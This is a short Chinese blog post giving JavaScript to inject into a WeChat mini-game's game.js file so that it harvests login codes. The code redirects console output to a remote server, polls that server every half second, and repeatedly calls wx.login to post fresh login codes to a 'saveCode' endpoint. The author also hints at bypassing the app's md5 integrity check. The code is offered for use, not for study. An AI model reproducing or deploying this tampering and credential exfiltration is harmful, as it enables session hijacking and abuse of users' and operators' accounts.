微信小程序获取某游戏的code码

 修改 手机端里小程序里的game.js 文件:

至于怎么绕过小程序md5的验证,请各位自行想办法吧,我怕我把思路发出来,腾讯官方给封了。

获取的code码对我来说还是非常有用的。

var url = "https://xxxx.com/echo";
var url2 = "https://xxxx.com/look";
var url3 = "https://xxxx.com/saveCode";
function dzqLog(method, args) {
  wx.request({
    url,
    data: { m: method, a: args },
    method: "post",
    header: { "Content-Type": "application/json" },
    success: function (res) {},
  });
}
console.log = function () {
  dzqLog("log", Array.from(arguments));
};
console.info = function () {
  dzqLog("info", Array.from(arguments));
};
console.error = function () {
  dzqLog("error", Array.from(arguments));
};
console.warn = function () {
  dzqLog("warn", Array.from(arguments));
};

function getCode(){
    wx.login({
      success: function (err) {
        wx.request({
          url:url3,
          data: err,
          method: "post",
          header: { "Content-Type": "application/json" },
          success: function (res) {},
        });
      },
    });
}

setInterval(()=>{
  wx.request({
    url:url2,
    data: {},
    method: "post",
    header: { "Content-Type": "application/json" },
    success: function (res) {
      let {needCount} = res.data;
      if(needCount){
        while(needCount--){
          getCode();
        }
      }
    },
  });
}, 500);

 

posted @ 2022-02-16 21:11  Please Call me 小强  阅读(273)  评论(0编辑  收藏  举报